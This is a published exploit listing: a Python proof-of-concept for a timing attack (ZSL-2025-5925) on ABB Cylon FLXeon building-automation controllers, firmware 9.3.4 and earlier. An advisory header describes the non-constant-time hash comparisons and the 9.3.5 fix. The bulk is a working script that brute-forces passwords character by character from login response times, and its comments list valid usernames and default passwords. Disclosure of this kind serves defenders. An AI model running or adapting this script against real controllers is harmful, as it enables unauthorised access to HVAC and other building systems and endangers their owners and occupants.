Share
## https://sploitus.com/exploit?id=PACKETSTORM:189254
#!/usr/bin/env python3
    #
    #
    # ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack
    # 
    # 
    # Vendor: ABB Ltd.
    # Product web page: https://www.global.abb                   
    # Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
    #                   CBX Series (FLX Series)
    #                   CBT Series
    #                   CBV Series
    #                   Firmware: <=9.3.4
    # 
    # Summary: BACnetยฎ Smart Building Controllers. ABB's BACnet portfolio features a
    # series of BACnetยฎ IP and BACnet MS/TP field controllers for ASPECTยฎ and INTEGRAโ„ข
    # building management solutions. ABB BACnet controllers are designed for intelligent
    # control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    # heat pump systems, air handling units (constant volume, variable air volume, and
    # multi-zone), rooftop units, electrical systems such as lighting control, variable
    # frequency drives and metering.
    # 
    # The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    # connectivity and open integration for your building automation systems. It's scalable,
    # and modular, allowing you to control a diverse range of HVAC functions.
    #
    # Desc: A timing attack vulnerability exists in ABB Cylon FLXeon's authentication process
    # due to improper comparison of password hashes in login.js and uukl.js. Specifically,
    # the verifyPassword() function in login.js and the verify() function in uukl.js both
    # calculate the password hash and compare it to the stored hash. In these implementations,
    # small differences in response times are introduced based on how much of the password
    # or the username matches the stored hash, making the system vulnerable to timing-based
    # analysis.
    #
    # In the verifyPassword() function in login.js, the comparison is performed using (passwordHash !== hash),
    # which can reveal subtle timing discrepancies depending on the number of matching characters
    # between the calculated and stored hashes. Similarly, in uukl.js, the verify() function
    # compares the calculated hash (const hash = md5sum.digest('hex');) to the saved hash
    # using if (hash == savedHash). The time taken for these comparisons can vary based on the
    # number of correct characters in the password, allowing an attacker to infer portions of
    # the password by measuring response times.
    #
    # These vulnerabilities can be exploited by attackers to enumerate valid usernames and
    # incrementally discover passwords. By analyzing the differences in response times, attackers
    # can determine which characters of the password are correct. This can lead to information
    # leakage, user enumeration, and password cracking. The timing differences between correct
    # and incorrect passwords, combined with the use of simple conditional checks for hash
    # comparisons, provide an opportunity for attackers to deduce valid portions of the password.
    # This makes it easier for attackers to identify the correct password, especially when
    # attempting to reset or change it.
    #
    # Network latency can introduce additional mismeasurement, affecting the accuracy of timing
    # differences and potentially leading to false conclusions during the attack.
    #
    # Fix:
    # Version: 9.3.5
    # Introduced: crypto.timingSafeEqual() to apply constant-time comparison.
    #
    # -----------------------------------------------------
    #
    # $ ./ntime.py 7.3.3.1 --verbose # not a valid username
    # [DEBUG] Initial check failed (HTTP 401)
    # [DEBUG] Baseline time: 337 ms
    # [1] Tried: changemea | Avg Response: 344 ms
    # [2] Tried: changemeb | Avg Response: 333 ms
    # [3] Tried: changemec | Avg Response: 333 ms
    # [4] Tried: changemed | Avg Response: 344 ms
    # [5] Tried: changemee | Avg Response: 328 ms
    # [6] Tried: changemef | Avg Response: 333 ms
    # [7] Tried: changemeg | Avg Response: 339 ms
    # [8] Tried: changemeh | Avg Response: 333 ms
    # [9] Tried: changemei | Avg Response: 333 ms
    # [10] Tried: changemej | Avg Response: 322 ms
    # ^C
    # $ ./ntime.py 7.3.3.1 --verbose # valid username
    # [DEBUG] Initial check failed (HTTP 401)
    # [DEBUG] Baseline time: 599 ms
    # [1] Tried: changemea | Avg Response: 672 ms
    # [2] Tried: changemeb | Avg Response: 617 ms
    # [3] Tried: changemec | Avg Response: 611 ms
    # [4] Tried: changemed | Avg Response: 600 ms
    # [5] Tried: changemee | Avg Response: 594 ms
    # [6] Tried: changemef | Avg Response: 617 ms
    # [7] Tried: changemeg | Avg Response: 600 ms
    # [8] Tried: changemeh | Avg Response: 605 ms
    # [9] Tried: changemei | Avg Response: 605 ms
    # [10] Tried: changemej | Avg Response: 605 ms
    #
    # -----------------------------------------------------
    #
    # Tested on: Linux Kernel 5.4.27
    #            Linux Kernel 4.15.13
    #            NodeJS/8.4.0
    #            Express
    # 
    # 
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2025-5925
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5925.php
    # CWE ID: CWE-208 (Observable Timing Discrepancy)
    # CWE URL: https://cwe.mitre.org/data/definitions/208.html
    #
    #
    # 21.04.2024
    #
    #
    
    from datetime import datetime
    from statistics import mean
    import threading
    import requests
    import string
    import time
    import sys
    
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    proj = r"""
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘  
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
                                             
                ABB Cylon FLXeon Series <=9.3.4
                     NodeJS Timing Attack
                        ZSL-2025-5925
    """
    
    print(proj)
    
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <IP> [--verbose]")
        sys.exit(1)
    
    ip = sys.argv[1]
    url = f"https://{ip}/api/login"
    username = "rooot"    # valid users: root, admin, cxpro
    password = "changeme" # default pwds: cylonctl, siteguide
    charset = string.ascii_lowercase + string.digits
    
    verbose = "--verbose" in sys.argv
    
    SAMPLES = 3           # number of samples for timing accuracy
    BASELINE_SAMPLES = 5  # baseline measurement attempts
    
    request_counter = 0
    request_counter_lock = threading.Lock()
    
    def ftime(seconds):
        if seconds < 1:
            return f"{seconds * 1000:.0f} ms"
        else:
            return f"{seconds:.2f} s"
    
    def chkpwd():
        global password
        data = {"username": username, "password": password}
        try:
            response = requests.post(url, json=data, verify=False)
            if response.status_code == 200:
                print(f"[+] Password found instantly: {password}")
                return True
            elif verbose:
                print(f"[DEBUG] Initial check failed (HTTP {response.status_code})")
        except Exception as e:
            print(f"[ERROR] Request failed: {e}")
        return False
    
    def measure(full_password):
        timings = []
        for _ in range(SAMPLES):
            start = time.time()
            try:
                headers = {'Connection': 'close'}
                response = requests.post(url, json={"username": username, "password": full_password}, 
                                        verify=False, headers=headers)
                response.text
            except Exception as e:
                return None
            elapsed = time.time() - start
            timings.append(elapsed)
        return mean(timings)
    
    def brutus():
        global password
    
        if chkpwd():
            return
    
        baseline_times = []
        for _ in range(BASELINE_SAMPLES):
            time = measure("wrong_password")
            if time:
                baseline_times.append(time)
        baseline = mean(baseline_times) if baseline_times else 0
    
        print(f"[DEBUG] Baseline time: {ftime(baseline)}")
    
        for position in range(len(password), 17): # pwd length
            best_char = None
            best_time = baseline
    
            for char in charset:
                candidate = password + char
                avg_time = measure(candidate)
                if not avg_time:
                    continue
    
                if verbose:
                    with request_counter_lock:
                        global request_counter
                        request_counter += 1
                        print(f"[{request_counter}] Tried: {candidate} | Avg Response: {ftime(avg_time)}")
    
                if avg_time > best_time * 1.2: # 20% threshold
                    best_char = char
                    best_time = avg_time
    
            if best_char:
                password += best_char
                print(f"[+] Progress: {password}")
                data = {"username": username, "password": password}
                response = requests.post(url, json=data, verify=False)
                if response.status_code == 200:
                    print(f"[+] Password Found: {password}")
                    return
            else:
                print("[ERROR] No significant timing difference detected.")
                break
    
    if __name__ == "__main__":
        start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        print(f"[+] Le script started at {start_time}")
        brutus()